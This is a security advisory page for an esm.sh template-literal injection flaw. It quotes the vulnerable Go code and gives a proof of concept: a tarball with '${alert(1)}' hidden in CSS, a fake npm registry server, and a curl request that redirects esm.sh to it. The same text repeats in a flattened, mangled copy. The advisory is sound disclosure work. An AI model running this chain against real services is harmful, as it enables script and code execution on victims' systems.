Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-hcpf-qv9m-vfgp: esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript

Summary

The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details

File: server/router.go
Lines: 1112-1119

// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
    filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
    css, err := os.ReadFile(filename)
    if err != nil {
        return rex.Status(500, err.Error())
    }
    
    buf := bytes.NewBufferString("/* esm.sh - css module */\n")
    buf.WriteString("const stylesheet = new CSSStyleSheet();\n")
    
    if bytes.ContainsRune(css, '`') {
        // If backtick exists: JSON encode (SAFE)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
        buf.WriteString(");\n")
    } else {
        // If no backtick: Direct insertion (VULNERABLE!)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.Write(css)  // ← CSS inserted into template literal without sanitization!
        buf.WriteString("`);\n")
    }
    
    buf.WriteString("export default stylesheet;\n")
    ctx.SetHeader("Content-Type", ctJavaScript)
    return buf
}

When CSS doesn’t contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar)

import tarfile
import io
import json
from datetime import datetime

# Malicious CSS with template literal injection
evil_css = b"""
body {
  background-color: #ffffff;
  color: #333333;
}

.container {
  max-width: 1200px;
  margin: 0 auto;
}

/* js payload */
${alert(1)} 

/* More CSS to appear legitimate */
.footer {
  margin-top: 20px;
  padding: 10px;
}
"""

files = {
    "package/index.js": b"module.exports = { version: '1.0.0' };",
    "package/package.json": json.dumps({
        "name": "test-css-injection",
        "version": "1.0.0",
        "description": "Test package for CSS injection",
        "main": "index.js"
    }, indent=2).encode(),
    
    # Malicious CSS file
    "package/poc.css": evil_css,
}

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
    for name, content in files.items():
        info = tarfile.TarInfo(name=name)
        info.size = len(content)
        info.mode = 0o644
        info.mtime = int(datetime.now().timestamp())
        tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")

Step 2. Run Fake Registry Server

# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)
python3 fake-npm-registry.py

Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

curl "http://localhost:8080/test-tarslip@1.0.0" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1))

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CSS Injection Victim Page</title>
</head>
<body>
    <script type="module">
        // esm.sh import
        import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module";
        
        console.log('Styles loaded:', styles);
    </script>
</body>
</html>

<img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />

in esm.sh Playground

<img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />

Impact

Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, …)

ghsa
#xss#vulnerability#nodejs#js#git#java#rce#docker

Summary

The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${…} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause:
The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${…}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details

File: server/router.go
Lines: 1112-1119

// Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, “.css”) && query.Has(“module”) { filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) }

buf := bytes.NewBufferString("/\* esm.sh - css module \*/\\n")
buf.WriteString("const stylesheet = new CSSStyleSheet();\\n")

if bytes.ContainsRune(css, '\`') {
    // If backtick exists: JSON encode (SAFE)
    buf.WriteString("stylesheet.replaceSync(\`")
    buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
    buf.WriteString(");\\n")
} else {
    // If no backtick: Direct insertion (VULNERABLE!)
    buf.WriteString("stylesheet.replaceSync(\`")
    buf.Write(css)  // ← CSS inserted into template literal without sanitization!
    buf.WriteString("\`);\\n")
}

buf.WriteString("export default stylesheet;\\n")
ctx.SetHeader("Content-Type", ctJavaScript)
return buf

}

When CSS doesn’t contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${…} expressions.
Template literals in JavaScript evaluate expressions within ${…}, causing any such expressions in the CSS to execute as JavaScript code.

PoC****Step 1. Create Malicious Package (tar)

import tarfile import io import json from datetime import datetime

# Malicious CSS with template literal injection evil_css = b""" body { background-color: #ffffff; color: #333333; } .container { max-width: 1200px; margin: 0 auto; } /* js payload */ ${alert(1)} /* More CSS to appear legitimate */ .footer { margin-top: 20px; padding: 10px; } “"”

files = { "package/index.js": b"module.exports = { version: ‘1.0.0’ };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": “index.js” }, indent=2).encode(),

\# Malicious CSS file
"package/poc.css": evil\_css,

}

with tarfile.open("test-css-injection-1.0.0.tgz", “w:gz”) as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))

print(“Malicious CSS tarball created - test-css-injection-1.0.0.tgz”)

Step 2. Run Fake Registry Server

# fake-npm-registry.py from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = “/tmp/test-css-injection-1.0.0.tgz” # HERE MALICIOUS TAR PATH REGISTRY_URL = “http://host.docker.internal:9999” # HERE FAKE REGISTRY SERVER

@app.route(‘/<package>’) def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { “tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz” } } }, "dist-tags": {"latest": "1.0.0"} })

@app.route(‘/<package>/-/<filename>’) def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype=’application/gzip’)

if __name__ == '__main__’: app.run(host=’0.0.0.0’, port=9999)

python3 fake-npm-registry.py

Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

curl “http://localhost:8080/test-tarslip@1.0.0” \ -H ‘X-Npmrc: {"registry":"http://host.docker.internal:9999/"}’

Step 4. Check Cross-site Script (alert(1))

<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSS Injection Victim Page</title> </head> <body> <script type="module"> // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module";

    console.log('Styles loaded:', styles);
</script\>

</body> </html>

in esm.sh Playground

Impact

Can execute arbitrary JavaScript.
This can sometimes lead to remote code execution.
(Electron App, Deno App, …)

References

  • GHSA-hcpf-qv9m-vfgp
  • https://nvd.nist.gov/vuln/detail/CVE-2025-65026
  • esm-dev/esm.sh@87d2f64

ghsa: Latest News

GHSA-2jm2-2p35-rp3j: OpenSTAManager has Authenticated SQL Injection in API via 'display' parameter